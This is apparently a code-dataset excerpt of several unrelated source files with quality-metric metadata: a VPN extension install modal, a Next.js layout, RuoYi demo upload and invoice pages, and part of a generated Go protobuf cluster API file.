{"qsc_code_num_words": 6122, "qsc_code_num_chars": 55033.0, "qsc_code_mean_word_length": 5.68621366, "qsc_code_frac_words_unique": 0.08493956, "qsc_code_frac_chars_top_2grams": 0.03633909, "qsc_code_frac_chars_top_3grams": 0.0156847, "qsc_code_frac_chars_top_4grams": 0.02148746, "qsc_code_frac_chars_dupe_5grams": 0.38783718, "qsc_code_frac_chars_dupe_6grams": 0.30234696, "qsc_code_frac_chars_dupe_7grams": 0.22961133, "qsc_code_frac_chars_dupe_8grams": 0.19628853, "qsc_code_frac_chars_dupe_9grams": 0.1462756, "qsc_code_frac_chars_dupe_10grams": 0.13622131, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00339789, "qsc_code_frac_chars_whitespace": 0.19784493, "qsc_code_size_file_byte": 55033.0, "qsc_code_num_lines": 1650.0, "qsc_code_num_chars_line_max": 203.0, "qsc_code_num_chars_line_mean": 33.35333333, "qsc_code_frac_chars_alphabet": 0.78516253, "qsc_code_frac_chars_comments": 0.01593589, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.19721871, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01201011, "qsc_code_frac_chars_string_length": 0.02697712, "qsc_code_frac_chars_long_word_length": 0.0019942, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejavascript_cate_ast": 1.0, "qsc_codejavascript_cate_var_zero": 0.0, "qsc_codejavascript_frac_lines_func_ratio": 0.00442478, "qsc_codejavascript_num_statement_line": 0.00063211, "qsc_codejavascript_score_lines_no_logic": 0.09228824, "qsc_codejavascript_frac_words_legal_var_name": 0.94509804, "qsc_codejavascript_frac_words_legal_func_name": 0.14285714, "qsc_codejavascript_frac_words_legal_class_name": null, "qsc_codejavascript_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejavascript_cate_ast": 0, "qsc_codejavascript_cate_var_zero": 0, "qsc_codejavascript_frac_lines_func_ratio": 0, "qsc_codejavascript_score_lines_no_logic": 0, "qsc_codejavascript_frac_lines_print": 0}
1vpn/browser_extension
src/pages/popup/InstallModal.jsx
import { Input, Button, Box } from 'theme-ui' import Modal from './Modal' import { useState } from 'react' const InstallModal = ({ messages, isOpen, onClose }) => { const installUrl = 'https://1vpn.org/?from=zv45k6' const [copied, setCopied] = useState(false) const handleCopy = () => { navigator.clipboard.writeText(installUrl).then(() => { setCopied(true) chrome.storage.local.set({ installModalCopiedTime: Date.now() }) setTimeout(() => setCopied(false), 1200) }) } return ( <Modal isOpen={isOpen} onClose={onClose} width="250px"> <Box sx={{ mb: '12px', textAlign: 'center', }} > {messages.installModalText} </Box> <Input readOnly value={installUrl} sx={{ width: '100%', mb: '12px', textAlign: 'center', fontSize: '14px', px: '8px', py: '10px', borderRadius: '6px', border: '1px solid', borderColor: 'lightGrey', color: 'black', backgroundColor: 'white', '&:focus': { outline: 'none', }, }} /> <Button onClick={handleCopy} variant="styles.baseButton" sx={{ height: '40px' }} disabled={copied} > {copied ? messages.linkCopied : messages.copyLink} </Button> </Modal> ) } export default InstallModal
1,456
InstallModal
jsx
en
javascript
code
{"qsc_code_num_words": 121, "qsc_code_num_chars": 1456.0, "qsc_code_mean_word_length": 6.23140496, "qsc_code_frac_words_unique": 0.66942149, "qsc_code_frac_chars_top_2grams": 0.03448276, "qsc_code_frac_chars_top_3grams": 0.0397878, "qsc_code_frac_chars_top_4grams": 0.05570292, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02777778, "qsc_code_frac_chars_whitespace": 0.33241758, "qsc_code_size_file_byte": 1456.0, "qsc_code_num_lines": 59.0, "qsc_code_num_chars_line_max": 71.0, "qsc_code_num_chars_line_mean": 24.6779661, "qsc_code_frac_chars_alphabet": 0.74794239, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.14545455, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.1043956, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejavascript_cate_ast": 0.0, "qsc_codejavascript_cate_var_zero": null, "qsc_codejavascript_frac_lines_func_ratio": null, "qsc_codejavascript_num_statement_line": null, "qsc_codejavascript_score_lines_no_logic": null, "qsc_codejavascript_frac_words_legal_var_name": null, "qsc_codejavascript_frac_words_legal_func_name": null, "qsc_codejavascript_frac_words_legal_class_name": null, "qsc_codejavascript_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejavascript_cate_ast": 1, "qsc_codejavascript_cate_var_zero": 0, "qsc_codejavascript_frac_lines_func_ratio": 0, "qsc_codejavascript_score_lines_no_logic": 0, "qsc_codejavascript_frac_lines_print": 0}
1weiho/next-sandbox
apps/docs/app/layout.tsx
import './global.css'; import { RootProvider } from 'fumadocs-ui/provider'; import type { Metadata } from 'next'; import { Geist } from 'next/font/google'; import type { ReactNode } from 'react'; const geist = Geist({ subsets: ['latin'], }); const baseUrl = process.env.NEXT_PUBLIC_VERCEL_ENV === 'production' ? new URL('https://next-sandbox.1wei.dev') : process.env.NEXT_PUBLIC_VERCEL_ENV === 'preview' ? new URL(`https://${process.env.NEXT_PUBLIC_VERCEL_URL}`) : new URL('http://localhost:3000'); export const metadata: Metadata = { title: { template: '%s | Next Sandbox', default: 'Next Sandbox', }, description: 'A lightweight tool for testing and monitoring server actions in Next.js.', openGraph: { title: 'Next Sandbox', description: 'A lightweight tool for testing and monitoring server actions in Next.js.', url: 'https://next-sandbox.1wei.dev', siteName: 'Next Sandbox', images: '/banner.png', }, twitter: { card: 'summary_large_image', site: '@1weiho', creator: '@1weiho', images: '/banner.png', }, metadataBase: baseUrl, }; export default function Layout({ children }: { children: ReactNode }) { return ( <html lang="en" className={geist.className} suppressHydrationWarning> <body className="flex flex-col min-h-screen"> <RootProvider>{children}</RootProvider> </body> </html> ); }
1,424
layout
tsx
en
tsx
code
{"qsc_code_num_words": 163, "qsc_code_num_chars": 1424.0, "qsc_code_mean_word_length": 5.61349693, "qsc_code_frac_words_unique": 0.49693252, "qsc_code_frac_chars_top_2grams": 0.07213115, "qsc_code_frac_chars_top_3grams": 0.04590164, "qsc_code_frac_chars_top_4grams": 0.06557377, "qsc_code_frac_chars_dupe_5grams": 0.32786885, "qsc_code_frac_chars_dupe_6grams": 0.29945355, "qsc_code_frac_chars_dupe_7grams": 0.17923497, "qsc_code_frac_chars_dupe_8grams": 0.17923497, "qsc_code_frac_chars_dupe_9grams": 0.17923497, "qsc_code_frac_chars_dupe_10grams": 0.17923497, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0069808, "qsc_code_frac_chars_whitespace": 0.19522472, "qsc_code_size_file_byte": 1424.0, "qsc_code_num_lines": 50.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 28.48, "qsc_code_frac_chars_alphabet": 0.79144852, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13043478, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.30758427, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/upload.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('文件上传')" /> <th:block th:include="include :: bootstrap-fileinput-css" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>文件上传控件 <small>https://github.com/kartik-v/bootstrap-fileinput</small></h5> </div> <div class="ibox-content"> <div class="form-group"> <label class="font-noraml">单文件上传</label> <div class="file-loading"> <input id="singleFile" name="file" type="file"> </div> </div> <div class="form-group"> <label class="font-noraml">多文件上传</label> <div class="file-loading"> <input id="multipleFile" name="files" type="file" multiple> </div> </div> <hr> <div class="form-group"> <label class="font-noraml">相关参数详细信息</label> <div><a href="http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-fileinput" target="_blank">http://doc.ruoyi.vip/ruoyi/document/zjwd.html#bootstrap-fileinput</a></div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: bootstrap-fileinput-js" /> <script th:inline="javascript"> $(document).ready(function () { // 单图上传 $("#singleFile").fileinput({ uploadUrl: ctx + 'common/upload', maxFileCount: 1, autoReplace: true }).on('fileuploaded', function (event, data, previewId, index) { var rsp = data.response; log.info("return url:" + rsp.url) log.info("reutrn fileName:" + rsp.fileName) log.info("reutrn newFileName:" + rsp.newFileName) log.info("return originalFilename:" + rsp.originalFilename) }).on('fileremoved', function (event, id, index) { $("input[name='" + event.currentTarget.id + "']").val('') }) // 多图上传 $("#multipleFile").fileinput({ uploadUrl: ctx + 'common/uploads', uploadAsync: false }).on('filebatchuploadsuccess', function (event, data, previewId, index) { var rsp = data.response; log.info("return urls:" + rsp.urls) log.info("reutrn fileNames:" + rsp.fileNames) log.info("reutrn newFileNames:" + rsp.newFileNames) log.info("return originalFilenames:" + rsp.originalFilenames) }).on('fileremoved', function (event, id, index) { $("input[name='" + event.currentTarget.id + "']").val('') }) }); </script> </body> </html>
3,165
upload
html
en
html
code
{"qsc_code_num_words": 297, "qsc_code_num_chars": 3165.0, "qsc_code_mean_word_length": 5.27272727, "qsc_code_frac_words_unique": 0.38047138, "qsc_code_frac_chars_top_2grams": 0.05619413, "qsc_code_frac_chars_top_3grams": 0.03448276, "qsc_code_frac_chars_top_4grams": 0.04086845, "qsc_code_frac_chars_dupe_5grams": 0.43678161, "qsc_code_frac_chars_dupe_6grams": 0.40740741, "qsc_code_frac_chars_dupe_7grams": 0.39399745, "qsc_code_frac_chars_dupe_8grams": 0.30204342, "qsc_code_frac_chars_dupe_9grams": 0.2311622, "qsc_code_frac_chars_dupe_10grams": 0.2311622, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00241429, "qsc_code_frac_chars_whitespace": 0.34565561, "qsc_code_size_file_byte": 3165.0, "qsc_code_num_lines": 75.0, "qsc_code_num_chars_line_max": 201.0, "qsc_code_num_chars_line_mean": 42.2, "qsc_code_frac_chars_alphabet": 0.75374215, "qsc_code_frac_chars_comments": 0.00442338, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34285714, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.22278642, "qsc_code_frac_chars_long_word_length": 0.02126309, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.05655608, "qsc_codehtml_num_chars_text": 179.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/invoice.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('单据打印')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-12"> <div class="ibox-content p-xl"> <div class="row"> <div class="col-sm-6"> <address> <strong>北京百度在线网络技术有限公司</strong><br> 北京市海淀区上地十街10号<br> <abbr title="Phone">总机:</abbr> (+86 10) 5992 8888 </address> </div> <div class="col-sm-6 text-right"> <h4>单据编号:</h4> <h4 class="text-navy">H+-000567F7-00</h4> <address> <strong>阿里巴巴集团</strong><br> 中国杭州市华星路99号东部软件园创业大厦6层(310099)<br> <abbr title="Phone">总机:</abbr> (86) 571-8502-2088 </address> <p> <span><strong>日期:</strong> 2014-11-11</span> </p> </div> </div> <div class="table-responsive m-t"> <table class="table invoice-table"> <thead> <tr> <th>清单</th> <th>数量</th> <th>单价</th> <th>税率</th> <th>总价</th> </tr> </thead> <tbody> <tr> <td> <div><strong>尚都比拉2013冬装新款女装 韩版修身呢子大衣 秋冬气质羊毛呢外套</strong> </div> </td> <td>1</td> <td>&yen;26.00</td> <td>&yen;1.20</td> <td>&yen;31,98</td> </tr> <tr> <td> <div><strong>11*11夏娜 新款斗篷毛呢外套 女秋冬呢子大衣 韩版大码宽松呢大衣</strong> </div> <small>双十一特价 </small> </td> <td>2</td> <td>&yen;80.00</td> <td>&yen;1.20</td> <td>&yen;196.80</td> </tr> <tr> <td> <div><strong>2013秋装 新款女装韩版学生秋冬加厚加绒保暖开衫卫衣 百搭女外套</strong> </div> </td> <td>3</td> <td>&yen;420.00</td> <td>&yen;1.20</td> <td>&yen;1033.20</td> </tr> </tbody> </table> </div> <!-- /table-responsive --> <table class="table invoice-total"> <tbody> <tr> <td><strong>总价:</strong> </td> <td>&yen;1026.00</td> </tr> <tr> <td><strong>税:</strong> </td> <td>&yen;235.98</td> </tr> <tr> <td><strong>总计</strong> </td> <td>&yen;1261.98</td> </tr> </tbody> </table> <!-- 打印网页时通过hidden-print隐藏元素 --> <div class="text-right hidden-print"> <button class="btn btn-primary" onclick="printPage()"><i class="fa fa-print"></i> 打印</button> </div> <div class="well m-t"><strong>注意:</strong> 请在30日内完成付款,否则订单会自动取消。 </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <script type="text/javascript"> function printPage() { window.print(); } </script> </body> </html>
5,170
invoice
html
en
html
code
{"qsc_code_num_words": 341, "qsc_code_num_chars": 5170.0, "qsc_code_mean_word_length": 3.90615836, "qsc_code_frac_words_unique": 0.36363636, "qsc_code_frac_chars_top_2grams": 0.04504505, "qsc_code_frac_chars_top_3grams": 0.06306306, "qsc_code_frac_chars_top_4grams": 0.02402402, "qsc_code_frac_chars_dupe_5grams": 0.21021021, "qsc_code_frac_chars_dupe_6grams": 0.14039039, "qsc_code_frac_chars_dupe_7grams": 0.11486486, "qsc_code_frac_chars_dupe_8grams": 0.04279279, "qsc_code_frac_chars_dupe_9grams": 0.04279279, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.06878583, "qsc_code_frac_chars_whitespace": 0.62882012, "qsc_code_size_file_byte": 5170.0, "qsc_code_num_lines": 122.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 42.37704918, "qsc_code_frac_chars_alphabet": 0.62532569, "qsc_code_frac_chars_comments": 0.01121857, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.44736842, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0614241, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.13520309, "qsc_codehtml_num_chars_text": 699.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1xyz/coolbeans
api/v1/cluster.pb.go
// Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 // protoc v3.19.3 // source: cluster.proto package coolbeans_api_v1 import ( context "context" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type JoinRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Node ID of the node interested in joining NodeId string `protobuf:"bytes,1,opt,name=node_id,json=nodeId,proto3" json:"node_id,omitempty"` // Address of the replica interested in joining Addr string `protobuf:"bytes,2,opt,name=addr,proto3" json:"addr,omitempty"` } func (x *JoinRequest) Reset() { *x = JoinRequest{} if protoimpl.UnsafeEnabled { mi := &file_cluster_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *JoinRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*JoinRequest) ProtoMessage() {} func (x *JoinRequest) ProtoReflect() protoreflect.Message { mi := &file_cluster_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use JoinRequest.ProtoReflect.Descriptor instead. func (*JoinRequest) Descriptor() ([]byte, []int) { return file_cluster_proto_rawDescGZIP(), []int{0} } func (x *JoinRequest) GetNodeId() string { if x != nil { return x.NodeId } return "" } func (x *JoinRequest) GetAddr() string { if x != nil { return x.Addr } return "" } type LeaveRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Node ID of the node requested to leave NodeId string `protobuf:"bytes,1,opt,name=node_id,json=nodeId,proto3" json:"node_id,omitempty"` } func (x *LeaveRequest) Reset() { *x = LeaveRequest{} if protoimpl.UnsafeEnabled { mi := &file_cluster_proto_msgTypes[1] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *LeaveRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*LeaveRequest) ProtoMessage() {} func (x *LeaveRequest) ProtoReflect() protoreflect.Message { mi := &file_cluster_proto_msgTypes[1] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use LeaveRequest.ProtoReflect.Descriptor instead. func (*LeaveRequest) Descriptor() ([]byte, []int) { return file_cluster_proto_rawDescGZIP(), []int{1} } func (x *LeaveRequest) GetNodeId() string { if x != nil { return x.NodeId } return "" } type IsNodeLeaderResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // is_leader is a boolean value indicating if this current node is a leader or not IsLeader bool `protobuf:"varint,1,opt,name=is_leader,json=isLeader,proto3" json:"is_leader,omitempty"` } func (x *IsNodeLeaderResponse) Reset() { *x = IsNodeLeaderResponse{} if protoimpl.UnsafeEnabled { mi := &file_cluster_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *IsNodeLeaderResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*IsNodeLeaderResponse) ProtoMessage() {} func (x *IsNodeLeaderResponse) ProtoReflect() protoreflect.Message { mi := &file_cluster_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use IsNodeLeaderResponse.ProtoReflect.Descriptor instead. func (*IsNodeLeaderResponse) Descriptor() ([]byte, []int) { return file_cluster_proto_rawDescGZIP(), []int{2} } func (x *IsNodeLeaderResponse) GetIsLeader() bool { if x != nil { return x.IsLeader } return false } var File_cluster_proto protoreflect.FileDescriptor var file_cluster_proto_rawDesc = []byte{ 0x0a, 0x0d, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x10, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x1a, 0x0b, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x3a, 0x0a, 0x0b, 0x4a, 0x6f, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, 0x07, 0x6e, 0x6f, 0x64, 0x65, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6e, 0x6f, 0x64, 0x65, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x64, 0x64, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x61, 0x64, 0x64, 0x72, 0x22, 0x27, 0x0a, 0x0c, 0x4c, 0x65, 0x61, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, 0x07, 0x6e, 0x6f, 0x64, 0x65, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6e, 0x6f, 0x64, 0x65, 0x49, 0x64, 0x22, 0x33, 0x0a, 0x14, 0x49, 0x73, 0x4e, 0x6f, 0x64, 0x65, 0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1b, 0x0a, 0x09, 0x69, 0x73, 0x5f, 0x6c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x32, 0xa2, 0x02, 0x0a, 0x07, 0x43, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x04, 0x4a, 0x6f, 0x69, 0x6e, 0x12, 0x1d, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x4a, 0x6f, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x42, 0x0a, 0x05, 0x4c, 0x65, 